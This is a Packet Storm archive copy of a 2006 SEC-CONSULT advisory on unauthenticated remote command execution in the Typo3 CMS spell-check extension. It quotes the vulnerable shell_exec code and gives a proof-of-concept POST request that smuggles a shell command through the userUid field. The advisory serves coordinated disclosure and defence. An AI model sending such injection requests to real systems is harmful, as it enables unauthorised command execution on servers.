exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SEC-20061220-0.txt

SEC-20061220-0.txt
Posted Dec 22, 2006
Authored by D. Fabian, J. Greil | Site sec-consult.com

SEC-CONSULT Security Advisory - Typo3 CMS versions 4.0.0 through 4.0.3 (along with other variants) suffer from a remote command execution flaw. Proof of concept included.

tags | exploit, remote, proof of concept
SHA-256 | 855559bf26aa89e08a42b32a4a13e9d2151e9b5cca1e5cb32c2673a8d897c507

SEC-20061220-0.txt

Change Mirror Download
SEC-CONSULT Security Advisory < 20061220-0>
=======================================================================
title: Remote Command Execution in Typo3
program: Typo3 Content Management System
vulnerable version: 4.0.0 - 4.0.3
3.7 and 3.8 with rtehtmlarea extension
4.1beta
impact: critical
homepage: http://www.typo3.com
found: 2006-11-21
by: D. Fabian / SEC-CONSULT / www.sec-consult.com
J. Greil / SEC-CONSULT / www.sec-consult.com
permanent link: http://www.sec-consult.com/272.html
=======================================================================

vendor description:
---------------

TYPO3 is a free Open Source content management system for enterprise
purposes on the web and in intranets. It offers full flexibility and
extendability while featuring an accomplished set of ready-made
interfaces, functions and modules.

[Source: http://www.typo3.com]


vulnerability overview:
---------------

In version 4.0 and above, Typo3 includes a sysext named rtehtmlarea.
The extension can optionally also be installed on Typo3 versions below
4.0. This RTE HTML Editor allows spell checking, for which it uses the
command line tool 'aspell'.

When this program is called, unvalidated user input is used as argument
to the system call. Login to the backend is /not/ required to exploit
this vulnerability.

This allows an attacker to execute arbitrary commands on the target
system.


vulnerability details:
---------------

The affected script resides in /typo3/sysext/rtehtmlarea/htmlarea/
plugins/SpellChecker/spell-check-logic.php which calls the vulnerable
script /typo3/sysext/rtehtmlarea/pi1/class.tx_rtehtmlarea_pi1.php.
It requires a GET parameter id with the pageid of an existing page.
When the POST parameter cmd is set to learn, the parameter userUid is
not validated and can be used by an attacker to inject code.

Here is the vulnerable code (line 208):
--- code ---
$AspellCommand = 'cat ' . $tmpFileName . ' | ' . $this->AspellDirectory
. ' -a --mode=none' . $this->personalDictsArg . ' --lang=' .
$this->dictionary . ' --encoding=' . $this->parserCharset . ' 2>&1';
print $AspellCommand . "\n";
print shell_exec($AspellCommand);
--- /code ---

There seems to be a second command execution vulnerability in the same
file in line 365. It is left as a task to the reader to exploit that
flaw.

For typo3 versions < 4.0, the rtehtmlarea extension is probably located
at /typo3/ext.


proof of concept:
---------------

Here is a sample POST request that writes a file 'shell.txt' into /tmp:

--- post request ---
POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.typo3host.abc
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true
--- /post request ---


vulnerable versions:
---------------

Versions 4.0 - 4.0.3 as well as 4.1beta seem to be vulnerable to the
described attack. Also vulnerable are versions 3.7 and 3.8 if the
rtehtmlarea extension is installed.
The issue has been resolved in version 4.0.4.


vendor status:
---------------
vendor notified: 2006-12-07
vendor response: 2006-12-07
patch available: 2006-12-20
coordinated disclosure: 2006-12-20

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 15
Mail: research at sec-consult dot com
www.sec-consult.com

EOF Daniel Fabian / @2006

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close